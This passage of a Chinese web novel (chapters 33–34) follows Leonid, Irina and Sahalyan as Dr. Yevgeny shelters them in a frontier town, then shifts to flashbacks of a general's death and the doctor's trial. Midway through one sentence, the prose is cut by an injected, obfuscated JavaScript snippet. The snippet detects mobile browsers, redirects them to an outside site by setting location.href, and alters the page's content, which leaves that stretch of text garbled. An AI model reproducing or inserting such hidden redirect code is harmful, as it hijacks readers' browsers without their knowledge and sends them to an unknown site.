“那......这么偏僻的小镇,怎么会知道这么冷门的诗歌?”伊琳娜还是搞不懂其中的原因。 里奥尼德也不明白,但他想起了老妇人过于标准的发音:“冷门吗?其实还好吧,她念那句诗时标准的首都发音,让我觉得镇子里说不定有一个首都来的知识分子。” 里奥小心翼翼的跳过了“其实在大学里这位诗人是必读之一”这句话,生怕戳到了伊琳娜的痛处。 听完他的解释,伊琳娜和萨哈良都知道是怎么回事了。 当太阳即将落山时,他们终于在地平线上看到了小镇的轮廓。它依偎在山脚下,被即将蔓延的雾气笼罩,又有些低矮破旧的建筑,只有中央的教堂和市场附近的建筑显得突出。 天色迅速变暗,当他们终于接近小镇边缘时,已是晚上八点左右,夜幕彻底笼罩大地。要不是天上的繁星,怕是行路都困难了。 和黑水城不同,小镇入口处没有任何卫兵或障碍,但这种不设防反而显得更加诡异。街道上空无一人,连窗户都是黑的,只有风声穿过空旷的街道,发出呜咽般的声音。 当然,小镇中心的教堂中仍能见到朦胧的灯光。 萨哈良感到一阵莫名的寒意,他下意识地靠近了里奥一些。 “萨哈良,这里感觉——” “里奥,这里感觉......很不好。” 当鹿神察觉到怪异时,他刚刚开口说话,就被同样感知到诡异气氛的萨哈良打断了。 里奥尼德停下脚步,军人的直觉让他高度警惕。他打了个手势低声说话,示意后退。“我们不能贸然进去,把马拴在那边树林里,藏好。” 三人小心翼翼地将马匹隐藏在镇外一片茂密的枯灌木丛后,里奥尼德深吸一口气,眼神恢复了锐利:“跟紧我,保持安静。如果发生任何事,伊琳娜,你带萨哈良立刻往回跑。” 他们像幽灵一样悄悄溜进小镇,脚下的泥土松软,吸收了脚步声,反而放大了他们紧张的心跳声。 里奥尼德突然停住,他轻轻抚摸着房门上那些挂起来的装饰,若有所思。伊琳娜也注意到了这点,离近之后,空气中还隐隐传来香料的刺鼻味道。 “什么东西......大蒜?他们在防吸血鬼吗?”这么奇异的风俗让伊琳娜吃惊,作为哥特和科幻小说爱好者,她很清楚这种东西。 里奥弯下腰去,那些石板上还留有水泼过之后,留下的泥点。 “看来你说得对,他们甚至还洒了圣水。”里奥在心里想着,不愧是边疆的乡下,迷信程度已经直逼吸血鬼的老家特兰西瓦尼亚了。 小镇内部比外面看起来更令人不安,所有房门都紧闭着,窗帘也拉得死死的。一辆手推车翻倒在路中央,货物散落一地,却无人收拾。 就在即将经过一个十字路口时,远处突然传来稀稀拉拉的皮靴脚步声。透过房后的篱笆,他们看见高举着火把的士兵正朝这边走来。 “等等,有人!”里奥尼德低喝一声,立刻将两人拉到狭窄的房檐阴影里。 士兵越来越近,交谈声隐约可闻:“真他妈邪门......最近镇子里老有犯疯病的,跟被附体了一样。” “少抱怨,要不是钱多我也不敢出来。抓到一个违反宵禁的,功劳抵得上十天巡逻......”为首的长官对那士兵说道。 他们的脚步声,越来越近,就在三人屏住呼吸,以为在劫难逃时—— 旁边一扇木门悄无声息地打开一条缝,一双手臂猛地伸出,将他们三人一把拽了进去。 门在身后迅速轻轻关上,隔绝了外面的光线和脚步声。 黑暗中,萨哈良的心狂跳不止,他借着从木板缝隙透进的微光,看清了拉他们的人。 “医生?”他脱口而出,声音里充满了难以置信的惊喜。 然而,萨哈良话音未落,只听一声轻响,里奥尼德已经从腰间拔出手枪,修长的手指毫不犹豫的撬开了保险。枪口在昏暗中下垂,随时准备着抬起击中敌人,他此时的声音冰冷得如同山谷中的寒风。 “你怎么在这?” 33.自诩正义的法庭 “是尤里医生吗?你怎么会在......”当眼睛逐渐适应眼前的黑暗,借着窗缝的微弱光线,和里屋昏黄的油灯,伊琳娜也认清了救他们的人是谁。 里奥尼德手中的枪口又向下放了几分,但仍然紧紧握在手中。 叶甫根尼医生的眼眶中还夹着单片眼镜,但似乎远东之旅并不顺利,镜片的边角摔出些细小的裂纹。比起上次在木排时,他看起来又疲惫了几分,嘴角那道骇人的伤疤也淡了不少。 医生轻轻把柜台上那本厚厚的医学书籍向里推了推,从边缘卷曲的书页中,萨哈良能知道,这是那天泡水之后晒干的书。做完这个动作,叶甫根尼自然的举起了双手,随后对他们说道:“行了,我也想知道你们为什么在。”他又扭头看向萨哈良,继续说:“少年,好久不见。” 萨哈良朝医生点点头,但心里在思考着。他们好像是故识,可此刻的气氛却剑拔弩张。 “难怪查不到你的名字,现在改名叫叶甫根尼了?这样能洗清你的罪恶吗?”里奥尼德低声说道,语气中带着些愤怒。 “里奥尼德,我......”叶甫根尼医生刚想反驳,就被里奥打断了。 里奥语气有些急促的说:“我说为什么镇子里的老妇能字正腔圆的念出冷僻诗句,原来是你在啊。” “嗯?你见过她了?”提到那名卖蜜水的老人,叶甫根尼好像隐隐露出些欣慰的笑。 “别想转移话题!”里奥提醒着叶甫根尼,看来今晚一定要说个明白了。 医生有些不安的看了看房门的方向,他把站在外侧的萨哈良拉进来,又小声说道:“这事说来话长,你也应该看见小镇有多迷信了。我知道你们不怕,但被巡逻队抓到萨哈良就麻烦了。” 他掀起柜台后小房间的门帘,示意他们进去聊。 “储藏室小了点,先进去坐坐吧。”医生轻轻合上房门的门栓,将他们带了进去。 看起来,叶甫根尼的确践行着他在木排上时,和萨哈良说的话。这里看上去像个小诊所,储藏室里既有各种化学药品,也有些本地人才会使用的草药。这些气味混合在一起,说不上沁人心脾,但是提神醒脑。 诊所内的空间不大,陈列药品的储藏室附近有一间紧闭着木门的屋子,门上还挂着锁,显得这里更拥挤了。 医生安排他们坐到储物箱上,随后拿进来茶壶和几只脏兮兮的杯子。 “不好意思啊,我这里肯定比不上贵族庄园。茶也凉了,先喝点吧,看你们也渴了”叶甫根尼小心翼翼的把茶杯分发给大家,不让它们发出声响。 储藏室正中那破烂的小椅子上,摆放着一只油灯。那昏暗的光照亮了每一个人的脸。能看得出来,伊琳娜已经渴得不行了,她努力保持着贵族的矜持,但饮茶的速度快了不少。 里奥尼德平静了下来,他悄悄盯着医生手中的动作。但叶甫根尼看上去并不像什么狂徒,只是一些只有里奥知道的政局机密,让他不得不怀疑。 “好了,大家都坐下了,让我们把这个事情说明白。”叶甫根尼环视一圈,疲倦的伊琳娜拿着茶杯,眼神停留在那些药品上;萨哈良则是迷惑的看着医生,不知道发生了什么。 只有里奥尼德,眼神依然尖锐的盯着他。 “那就从里奥尼德开始吧,我也想听听这个害我妻离子散的离奇故事,究竟在你的视角中是什么样的。”医生摘下单片眼镜,小心放在一旁的储物箱上。 里奥拿起茶杯,一饮而尽,他用低沉但铿锵有力的声音说道:“好,那我就讲讲你是怎么治死将军,将帝国军队改革的未来摧毁。” 去年帝国首都陆军总参谋部 里奥尼德的元帅父亲在办公室内来回踱步,怒气让脖子都憋红了。元帅只好解开了脖子上的领扣,用力拽了拽。 看来这不遂父亲意愿的小儿子又闯祸了。 父亲压制着自己的愤怒,抄起桌上的马鞭,用近乎于咆哮的声音吼道:“我再问你一遍,你和那将军到底认识到了什么程度?” 他教训儿子时,从口中喷出的唾液溅到了里奥的脸上。里奥尼德本能的眨了眨眼,毫无惧色,同样因为生气,他太阳穴上的青筋都爆了起来,在苍白的肤色下显得尤为突出。 “我不知道,元帅。” 里奥尼德决心不在这个问题上做任何表示,他倔强的眼神始终盯着办公桌上那枚做工精美的镀金双头鹰徽记。 “好,很好!”元帅没有再多废话,抬起手像闪电一般将马鞭抽到了里奥尼德身上。 好在鞭子的尖端没有打在里奥的脸庞,而是抽掉了他脖领上的纽扣。紧绷而修身的衬衫瞬时松了几分,露出他白皙而筋脉清晰的脖颈。那枚金色的纽扣在一连串清脆的声响后,滚落到了壁炉旁。 里奥尼德的思绪随着扣子在地板上撞击的声音,已经飘向了远方。最后在耳畔回荡着的,是父亲的吼声: “里奥尼德!不,中尉,你站岗时也像一条抽了骨头的鲑鱼吗?” 在父亲的怒火面前,里奥沉默不语。他回想起更早的时候,和那名将军的故事。 帝国大学的图书馆,深冬的夜将窗户玻璃染得漆黑。窗外是呼啸的北风,卷着鹅毛般的雪片,一遍遍扑打着拱形的玻璃窗,发出细碎的声音。 里奥尼德独自坐在最里侧,身旁是厚重的古代典籍,还有几页写满优雅花体字的论文草稿,几乎将他淹没。 作为人类学边疆文化研究方向的博士候选人,里奥斟酌着最后一个章节的措辞,指尖一枚小小的雄狮家族玺戒在灯光下泛着黯淡的金光。窗外的风雪声似乎远去,他的世界里只剩下来自于远方的巫术与神话传说,只差最后几步,就可以结束了。 “我认为不能用自身文化的标准去评判另一个文化,每个文化的习俗和价值观都应在其自身的社会背景中被理解......” 里奥尼德满意地写下最后一句话,正在他校对着论文中的错误时—— “哐当!” 图书馆那扇沉重的橡木门猛地向内炸开,粗暴地撞在后面的墙上,发出巨响,震碎了古老书架间的宁静与沉思。 里奥尼德站起身,椅子腿在地板上刮出刺耳的声响。 “你们是什么人?想干什么?”他听到自己的声音带着一丝被惊扰的愤怒,更多的是猝不及防的颤抖。 来者是几名士兵,为首的军官在他面前站定,没有敬礼,甚至没有多余的表情。他只是沉默地从胸前口袋掏出一张折叠的纸。纸质硬挺,边缘锐利。他将其展开,送到里奥眼前。 里奥一眼就认出了那硕大而张狂的雄狮火漆印,以及下方那熟悉到刻入骨髓,属于帝国元帅父亲的凌厉笔迹。 是命令,不容置疑,不容提问,甚至没有称呼和落款。 内容简单至极:带走,立即。 “这不可能......”里奥尼德喃喃自语,血液似乎在这一刻冻结,比窗外的风雪更刺骨,“我的论文......” 上尉对那满桌的心血漠不关心,仿佛那只是无关紧要的垃圾。他合上手令,简短地吐出两个字:“奉命。” 他被士兵半架着带离图书馆,穿过空旷回响的走廊,前往院中的马车。图书馆的灯还亮着,钢笔落在论文草稿上,墨渍缓缓洇开,像一道突然宣告终结的判决。 目的地不是位于河畔的家族府邸,也不是任何一所熟悉的建筑。马车驶入一扇有着钢铁尖刺的大门。高墙,瞭望塔,单调的红砖楼,操场上传来即使大雪也未中断的口号。 这里是总参谋部军校,里奥尼德的新“家”。 天鹅绒外套和丝绸领结被粗暴剥下,换上了粗糙的士兵制服。握惯了钢笔的手被迫握住冰冷的枪械,练习拆卸组装直到指尖磨破出血。 边疆民族的巫术和传说被《士兵操典》和《海军条例》取代,曾经用来构建文化体系的头脑,如今被强制填充进无穷无尽的战术。 但他生活的转折始于一个下午,学员们围在一个巨大的沙盘前,那里模拟着远东地区的地形。教官挺起胸膛,在讲台前趾高气昂的说道:“敌方重兵依托工事和河流防御,如何突破? 学员们轮番上前,提出各种进攻方案,被教官以各种理由否决。此时教室中的气氛沉闷,谁也想不出更好的办法。 “里奥尼德!”教官突然点到了那个总是沉默,却总能优良完成所有课目的学生,“你上来回答!” 里奥尼德走上前,目光落在沙盘上。他沉默了很久,久到有人开始发出不耐烦的咳嗽。 他看的不是沙盘上的锡兵和标签,恍惚间,那交错的山川变成了古希腊哲学中的逻辑迷宫,那河流屏障变成了经院哲学中的问题讨论。 他需要找到一个“理论”,一个突破口。 “这里,”里奥的声音沙哑而清晰,“派一支轻装部队,夜间过河。不要后勤,不要重炮,只带轻炮和步兵武器。” 人们围了上来,看向他手指着的山前隘口。 “很精妙的设想,里奥。但是,这——”教官刚想做出反驳,就被大门推开的声音打断了。 “好了教官,这孩子交给我。”站在门口的人军衔更高,教官向他敬礼后,示意里奥尼德跟他出去。 里奥认识那人,他曾是一名将军,为帝国立下过汗马功劳。但由于二十年前,卷入刺杀老皇帝的政变案,念及旧情,被皇帝勒令退休。如今只能教教学生,纵横在军校的模拟沙盘上了。 “等等,等等,里奥尼德。”叶甫根尼突然打断了里奥尼德的回忆,他拿起茶壶,又给里奥的杯子里倒满水,接着说道:“这与你们对我的误解有什么关系?” 伊琳娜已经从口渴中恢复了,她也疑惑的说:“里奥,尤里医生虽然年轻——” 她扭头看了医生一眼,才发现自己根本不知道医生的年纪,看样子应该有三四十多岁了。 “尤里也曾是知名的医生,敢于收治任何疑难杂症,也许我们......”伊琳娜想了想,还是应该站在里奥的立场上,她收回了即将说出的误会二字。 “伊琳娜,叫我叶甫根尼吧。”医生并不喜欢别人叫他曾经的名字,坚持以叶甫根尼自称。 里奥尼德吸取了他们的意见,在双方交流的空隙,他继续将这个漫长的故事娓娓道来。只是节奏快了不少,停留在脑海中的许多回忆,也并没有完全讲给叶甫根尼听。 总之,那一天,在将军的办公室中,他们就着茶水聊了一下午。雪茄的烟气弥漫在空气中,但里奥尼德的未来却在眼前逐渐清晰。 “将军,其实我......”里奥尼德仍然惦念着自己的论文,即便身为学者的执拗让他认真学习了军校里的每一门课程,甚至成绩优异。 将军摆摆手,说道:“里奥,你的事情我知道,我也曾和元帅并肩作战,你父亲的性格我太了解了。” 那位慈祥的老人伸出手,为里奥斟满茶水。 “你的哥哥在战场上屡立战功,但也曾经身负重伤。这或许也是你父亲抽出精力,决定在军事上栽培你的原因。”将军又接着和里奥说。 但他似懂非懂,如果父亲在意他,为什么还要送自己入伍。 将军见里奥还没明白,继续说道:“我们军功贵族的地位,自然是来自于军功。但朝堂之上的攻击可不像刀剑,他需要你这样的人才拱卫家族势力。” 里奥尼德点点头,他对将军说:“但,将军,我不理解帝国对外的征伐有什么意义,除了为他国百姓造成灾难,还有别的用处吗?” 将军倒是没着急反驳他,他也承认了这一点,然后为里奥解释:“你说得对,但我认为年轻人有义务帮助帝国军队改革。” 他指向墙上的地图,继续说道:“如今的帝国早不是强盛时期了,我们的军队无论是武器,还是训练,远逊于其他国家。” “你记住,里奥,真正的军人不是杀戮机器,是秩序的守护者,是文明得以存续的基石。” 当离开办公室时,将军最后留给里奥的话久久回荡在他的脑海中。 将军在年轻时,曾经游历过诸国,他为其他国家担任过操练教官,也曾经以考察的名义参观那些军事强国。 因此,他无比迫切的希望帝国军队能做出改革,才卷入了二十年前的那场政变案中。将军在军校授课时,把那些年轻的优秀军官聚在一起,像俱乐部一样,介绍帝国内各行各业的能人志士相识,当然,也包括在帝国文坛崭露头角的伊琳娜。 进而,一种对改革的憧憬蔚然成风。 时间很快到了里奥尼德毕业时,那是阳光灿烂的一天,伊琳娜像里奥出席女校的典礼时那样,也陪同他一起来到军校。 “里奥,将军在哪儿?我怎么没看见他。”在即将拍摄毕业照时,伊琳娜站在里奥尼德身边,四处张望着。 里奥也感到疑惑,这么重要的日子,他不应该没来的。 “你们看见将军了吗?”里奥拍了拍旁边的同学,向他们询问道。 “我听教官说,将军好像早上身体不适,这会儿在家呢。”有位消息灵通的同学解答了里奥的问题。 里奥尼德最后看向伊琳娜,她朝里奥点了点头。 毕业典礼一结束,他们就匆忙的来到了将军的家里。这不是第一次来了,但和以往不同,里奥和伊琳并没有怀着兴奋的情绪,静静站在门外观察着别墅的外貌,等待管家来开门。 将军的那座贵族别墅立在白桦林边缘,大门微微歪斜着,锈迹已经蔓延在栏杆上,门楣上褪色的纹章还勉强能看出往日家族的余晖。 廊柱的灰泥剥落,露出里面的结构,仿佛贵族褪色的礼服下露出磨损的衬里。二楼阳台的雕花栏杆缺了几根,如同老人口中残缺的牙齿。爬山虎疯了似的占满西侧山墙,在秋风里泛出斑驳的红褐色。 看得出来,政变案对将军家影响颇深。 “将军,您怎么样了?”里奥轻声走进将军的卧室,小声说道。伊琳娜跟在后面,轻轻带上了房门,他们眼前正站着一个陌生的人。 将军听见他们的声音,稍稍起身靠在枕头上说:“里奥,伊琳,你们来了。”他伸手指向旁边那位陌生的人,接着说道:“这位是尤里医生,专攻疑难杂症,我打算等病好了让他也来咱们的俱乐部。” “这两位是里奥尼德和伊琳娜,可谓是年少有为,等我好一点了再向你介绍吧。”将军说完,瘦弱的身体又向枕头里陷下去几分。 尤里医生和他们点了点头,随后接着收拾自己出诊用的医疗器械了。 “您一向身体强健,怎么突然生病了?”伊琳娜笑着和这位慈祥的老人说,将军也很喜欢这伶俐的姑娘,将她像女儿一样看待。 但这次将军没有说话,也许是因为病痛,他示意尤里医生给他们解释。 “咳,是这样,将军这里......可能......”尤里医生指了指自己的头,没有直说。 “好了,医生,你说吧,他们跟我儿子闺女一样。”将军忍住眼前的晕眩,虚弱地说道。 伊琳娜也猜出大概是什么情况了,她瞪大眼睛,看着尤里医生。 医生清了清嗓子,给他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16233433|179612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解释:“将军可能长了脑瘤。” 里奥尼德和伊琳娜愣在原地,他们静静看着尤里医生收拾完急诊箱,推门离去后,才坐到了将军的病榻前。 “你们俩别难过,没什么好难过的。”将军举起他干枯的手,上面已经遍布年迈带来的斑点,握在里奥和伊琳的手上。 “会不会是误诊?”里奥尼德仍然不愿意相信将军的话,他假设道:“会不会是反对势力想趁机对您下手?我听说他们喜欢暗杀,您要不要查查这位尤里医生的底细......” 将军摆了摆手,说:“我知道你一向聪明,里奥。但已经找了三位大夫了,结果是一样的。” 他指向房门的方向,又接着说:“因为政变案牵连,我的不肖子孙们都被辞退,他们还指望我的养老金过活。这尤里医生就是他们找的,谁都希望我死,但他们肯定不会。” 说完这句话,将军透过卧室的窗玻璃,远远望向荒芜的花园。那里的大理石喷水池结着褐色的水垢,天使雕像的翅膀断了一角,玫瑰花丛疯长成荆棘的牢笼。 军队中的少壮军官已经被将军笼络到一处,假以时日,一定能掀起变革的浪潮。但如今将军病危,皇帝也暗示即将彻查政变案,希望将军一死了之把秘密带进棺材里的,恐怕大有人在。这么一来,帝国军队改革的努力又将功亏一篑。 离开将军的别墅时,两人在秋日的寒风中裹紧了大衣,相顾无言。 里奥尼德最终没有见过老人最后一面,以将军名义在人世间举办的最后一场“聚会”,已经是在半月后的法庭上了。 在一个阴沉的深秋午后,法院的审判厅里,空气凝滞得如同冻住的油脂,只能听见人们的窃窃私语。 审判厅极为宽敞,穹顶很高,却透出一股压抑。墙壁上剥落的金漆和一面巨大的双头鹰徽章俯视着下方,眼神呆滞而威严。几扇窄长的窗户透进灰白的光线,勉强照亮空气中悬浮的尘粒,却丝毫驱不散室内的阴冷。 法官慵懒的斜靠在椅子上,身旁见证的牧首神父却用他锐利的目光审视着众人。 “尤里医生。”首席法官的声音干涩又拖沓,在寂静的大厅里回荡,“你被控在治疗陆军中将阁下时,因严重的疏忽,导致其不幸身亡。原告方要求剥夺你的行医执照,并没收你的财产以补偿其损失。你是否承认有罪?” 原告席上将军的亲戚子女早已没有贵族的骄傲和矜持,眼中满是市井的斤斤计较。他们紧盯着医生的脸,努力从他身上榨取最后一丝价值。 叶甫根尼医生——不,是尤里医生,此时穿着一件虽旧却整洁的深色外套,领口紧扣。他身形消瘦,面容憔悴,眼神里交织着疲惫,和知识分子的固执。 他将手安静地放在身前的木栏上,微微颤抖。 “法官阁下,我不承认有罪。我尽了我所能,运用了我所有的知识和经验。将军的病情极其复杂且已至晚期......”医生努力的为自己辩驳,他可以接受自己的无能,但不能接受对医学的亵渎。 “他是在狡辩!”那些穿着黑色丧服的亲属猛地站起身,他们大吼着,“既然明知道脑瘤的危险性,为什么还采用激进的疗法!” 随后,将军的儿子抄起律师手旁的墨水瓶,朝着尤里医生的头扔了过去。 墨水瓶砸到了医生的嘴上,碎裂的玻璃划开了他的嘴角。但黑色的墨水又遮盖住了鲜红的血液,他用手捂住嘴,朝那边喊道: “那是你们要求......” “女士先生们,请控制情绪,遵守法庭秩序!”法官懒洋洋地敲了一下小木槌,打断了医生的反驳,语气里却没有多少对将军亲属真正的责备。 原告律师站起身,优雅地整理了一下领结,开始陈述。他的话语充满了对逝去将军的溢美之词,充斥着类似于“国家的柱石”、“皇帝忠实的仆人”、“家庭的荣耀”这样的话。 “哼,听说了吗,皇帝要彻查政变案了。”旁听席的一名年轻贵族已经懒得看这出闹剧了,他们开始互相交谈起来。 里奥尼德也竖起耳朵,想听听他们能说些什么。 “其实我觉得,这医生算是立大功了。”另外一名贵族军官漫不经心的回应道。 年轻的那个没听懂,他小声问着:“为什么?” “二十年前这场政变牵扯的人太多,时间荏苒,那会的青年已经各自有了自己的势力。要是将军不死,把他们都查出来,岂不是闹翻天了!”贵族军官为他解释着原因。 “那你说,会不会是那些人买通医生,才......”年轻贵族大胆假设道。 这话可不是随便说的,贵族军官赶紧拽了拽他的袖子,说:“别瞎说,虽然有这个可能性吧。” 里奥尼德听着他们的谈话,也觉得事情蹊跷。就在他沉思之间,时间已经过去很久,医生的自辩完全没听进耳朵。 “砰!” 法官最后用力敲击着法槌,宣布最后的审判结果。 “本庭宣布尤里医生败诉,剥夺财产,永久吊销行医资格。” 听完法官的宣判,原告席的人们向医生露出了嘲弄的表情,没有人关心死去的将军。毕竟,这名小小的医生竟然胆敢反抗贵族的淫威,哪怕他们只是落魄的贵族。 尤里医生已经失去了自证的勇气,他的身体晃了一下,仿佛被无形的重击打中,又试图站直,但肩膀却难以控制地塌了下去。医生没有呼喊,也没有争辩,只是深深地低下头,看着自己那双曾经用来救人,现在沾满墨水的脏污,又被裁定为有罪的手。 听众开始喧哗着离场,议论着这个理所当然的结果。原告一家被簇拥着,像英雄一样离去,黑色的丧服此刻仿佛成了胜利的旗帜。 “行了,够了!别再说了。”叶甫根尼医生打断了里奥尼德的回忆,他不愿意想起在法庭上那令人绝望的下午。 时间已经过去了不知道多久,茶水也快喝干了。他们拥挤在小小的储藏室里,哪怕像萨哈良和鹿神这样的局外人也在认真听着里奥尼德讲述的故事。 “看吧,萨哈良,这就是我为什么说,人类不会拥有凌驾于自然规则之上的律法。”鹿神想起在小镇时和老板娘的谈话,提醒着萨哈良。 叶甫根尼站起身,挑了挑油灯的灯芯,他理解了里奥尼德的意思,说“你不会怀疑我是被买通暗杀将军的吧?” 里奥尼德摊了摊手,说:“显而易见。” 尽管他这么说,但回想起医生在法庭上被墨水瓶击中的场景,里奥尼德心里也升起了怀疑。 “我只是一个医生!我唯一的错误就是高估了自己的技术,低估了人心的险恶!我如果真是他们的人,事后怎么会落得逃到远东荒野才能接着行医的下场!”叶甫根尼医生有点压制不住自己的声音了,他愤怒的说道。 两人各执一词,在大家眼中他们的话都不无道理。 伊琳娜伸出手,本想说点什么,试图调停。但这些信息的冲击力过大,她也无法判断,只好将手又缩了回去,紧紧握住了自己的衣角。也许最终问题的解决办法,还是在叶甫根尼医生的回忆中。 “咚咚咚!” 突然,屋外传来密集的脚步声和敲门声,可能是巡逻队发现了异常,前来搜查。所有人瞬间噤声,都看向了门外。 “你们就在这坐着别动!”叶甫根尼医生低声说道,他吹灭了油灯,小心翼翼放下储物室上那卷残破的布帘,又搬了一个箱子堵在那里。 怕他们等得急了,他朝外面喊了声:“来了,来了。” 随后走过去,打开了房门。 34.成为多余人 “医生,刚刚听见您屋里好像有动静,没什么事吧?” 叶甫根尼蹑手蹑脚地轻轻打开房门,夜晚浓重的雾气和冷风一下子灌进了屋里,那巡逻队的三名民兵正站在门外。幸好医生在小镇里已经是出了名的妙手回春,他们说话也很客气。 “没事,我刚才在给病人配药。”叶甫根尼松了口气,他试着寒暄几句,降低他们的警惕,“你们这么晚了还在巡逻啊,辛苦了。” 打头的军官叹了口气,说:“唉,这不是神父说最近妖孽横行,那个卖酒家的小女儿最近就有点精神失常了。” “对,那小闺女还挺好看的。”跟在军官后边的矮个子民兵边说,边低头磕了磕脚下的皮靴,好像进了沙子一样。 叶甫根尼趁他们没注意,四处张望后说道:“那你们也得多加小心啊!” 军官把那两个士兵往旁边哄了哄,偷偷凑过来问医生:“您这有没有那种药,我家婆娘......就那种.....您明白的。” “哪种?”叶甫根尼被他搞得有点懵了。 高个子的士兵又跑过来说:“就那种男人吃了能像狗熊一样的!” “狗熊?什么狗熊?还能变身的?”矮个子士兵听得一头雾水,军官朝着他脑袋狠狠来了下爆栗。 “你懂个屁,别捣乱!”军官瞪了他一眼,说道。 叶甫根尼懂了他们的意思,笑着说:“有,没问题,你明天下午来取就行了。” 听见医生连变狗熊的药都有,矮个子士兵赶紧抓着医生的手说:“医生,那您一定也有治脚气的药吧!救救我吧,我快痒死了。” 说着,他又把靴子在墙上用力的踢,试图缓解瘙痒。 听他说脚气,叶甫根尼赶紧把手抽了回来,说:“呃,也有的,明天一块来取。” “哎!谢谢您!” 说完,他们三个就转身离去了。叶甫根尼站在那望了一会儿,刚想关上门,结果那个高个子的士兵又折了回来。 “嘿嘿,医生,我忘了问,之前我喜欢上渔夫家的女儿了。您知道吗?她太漂亮了,真的,就像是......” 那高个子的民兵一提起心爱的姑娘就说个没完,叶甫根尼赶紧制止了他。 医生站在门边,说:“停,说重点,巫师那种爱情魔药我可没有。” “嘿嘿,医生,我是想要治女孩肚子疼的,她每个月都有几天疼,不知道为什么。我想要是能有药治好她的病,那我岂不是......”士兵沉浸在自己的想象中,怕是这会神父已经宣读誓词了。 “行,别说了,明天都来取,都有。”叶甫根尼被他们搞的有点不耐烦了,只好搪塞着。 “太好了!到时候成了请您喝酒!”说完,高个子士兵开开心心的去追上同伴了。 叶甫根尼目送着他们走远,确定不会再跑回来后,才关上房门,锁上门闩。但他没有直接走回储藏室,而是先到水桶那边,把手洗净。 搬开放在储藏室前的箱子,医生最后望了一眼那间紧锁房门的房间,才坐了回去。 “没事了,他们走了。”叶甫根尼拿出火柴,重新点燃了油灯。 看着那些在昏黄的灯光前已经有些疲惫的面孔,医生不知道该说什么。他又看了一眼坐在角落的萨哈良,少年清澈的眼睛在跳跃的火光里闪闪发亮。 “呃,刚才我们说到哪儿来着?”叶甫根尼问道,试图打破沉默。 里奥尼德挪动身子,缓解因为久坐的疲劳,说:“现在该轮到你说了。” “哦对,该我说了,我该从哪儿说起呢……” 叶甫根尼医生靠在墙上,陷入深深的回忆中。 与那些服务于平民的综合门诊不同,位于帝国首都市中心的医院是另一个世界。它由数栋古典主义风格的宏伟大楼组成,环绕着一条静谧的林荫大道。不久前刚刚粉刷过的沙黄色外墙平整光滑,巨大的石柱支撑起医院的正门,透出一种帝国首都特有的气派,冷峻而威严。 这里没有刺鼻的消毒液和病人身上的酸腐恶臭,空气中飘散着品质上乘的淡雅酒精味,甚至偶尔还能闻到某位路过的贵族女士留下的香水尾调。地面铺着光可鉴人的深色大理石,这里极少有人行色匆匆。 在财富与权力面前,死神的脚步也会放缓。 尤里医生走在病房外的走廊上,他三四十岁,正处在体力与精力的巅峰,岁月尚未在他脸上刻下痕迹,却已经赋予他一种沉静而锐利的气质。 他那一双深邃,如同冬日里浓咖啡般的深棕色眼睛,仿佛能穿透一切迷雾,直视病灶的核心,偶尔在灯光下,瞳孔边缘会映出一点温暖的墨绿色光泽。 “吃早饭了吗?”护士亲切的询问着病人,那是帝国高官的母亲。 今天不忙,只安排了一台手术,此时的医生正和护手一同在病房间巡视,提醒病人做好术前准备。 老人和蔼的对尤里医生微笑,却带着贵族特有的疏离:“医生,我没吃早饭。” 但常年与病人周旋的经验告诉尤里,可能没这么简单。 “太太,您早上吃了什么?”医生脸上保持着对尊贵病患的笑容。 “茶点,我今天特意没吃早餐。”高官的母亲还一如既往的微笑着。 但这几乎可以宣告今天的手术将要推迟了,尤里医生向病人示意先行离开,他把护士也叫了出来。 “我不是跟你强调过不能让病人吃东西吗?喝水也不行!这要是麻醉后因为食物窒息怎么办?”医生有些生气,小声训斥着护士。 但护士也很委屈,她低着头说道:“对不起医生,但早上的时候,是那名高官亲自送来的,我哪敢反驳贵族的话......” 尤里医生知道她的确不敢,也没这个资格。他摘下眼镜,语气只好恢复往日的温和,弯下腰看着她说道:好了,我知道了,你去照顾好太太吧。下次再遇到这种情况,记得先叫我。 听到医生的话,护士点了点头,又返回了病房。 就在尤里决定回到办公室,翻阅最新寄来的期刊时,突然一位管家急匆匆的跑来,拦住了他的去路。 “您是尤里医生吗?” “咳,我也要说一句。” 里奥尼德没来由的咳嗽,打断了叶甫根尼医生的回忆。 “那么你说的这些跟将军又有什么关系?”有些记仇的里奥想起先前被叶甫根尼打断的时候,也要以牙还牙。 “呃,你这人怎么回事,我还没说到那呢!”叶甫根尼有些面带愠色,旁边的伊琳娜想缓和气氛,偷偷揪了揪里奥的袖子。 “好好,那你继续说。”里奥尼德朝他摆摆手,示意他接着讲。 重新回到回忆中,尤里见那名管家身上黑白色的制服已经略显破旧,想必来自于某位破落贵族。都败家了,却还要雇佣人服侍。 他点点头,还没开口,管家就自顾自的说了起来。 “前陆军中将的家人希望您可以走一趟。” 尤里在心里暗自想着,那人说话言简意赅,提这么个名头无非是想强迫他答应罢了。 但他的确不能拒绝,只能不太情愿的问道:“现在吗?” 管家应了一声,两人便一同走到医院门外,在路边拦了一辆出租马车。 这不是尤里第一次感受贵族的傲慢了,身为知识分子的他,来自于南方某个贫寒人家,全靠自身努力才考到帝国大学医学院。 这短短几十年人生中,他在身份问题上吃了太多亏。所以当他成功于疑难杂症领域的医疗期刊中发文,一时间名声大灶,某位贵族替他亲戚的独女前来求婚时,医生几乎没怎么思考就答应了。 不为别的,仅仅为了能安稳的钻研学术。更何况,等对方父亲去世时,还能继承爵位,哪怕对方的德行实在一言难尽。 他习惯在行走时的碎片时间里思考,转眼间就到了病榻前。 “您就是尤里医生吧,早有耳闻,幸会幸会。” 将军蜷缩在被褥里,瘦老枯干的面容憔悴,像是即将被枕头吞噬。 “将军您好,我是尤里。”医生走上前去,将诊箱放在一旁,说道,“您这是哪儿不舒服?” 那老人虽然疲惫,但眼神依旧明亮,他轻轻的说,像是害怕太过有节奏感的词汇晃动到脑袋:“您不必检查了,已经来过几位医生,他们说是脑瘤。” 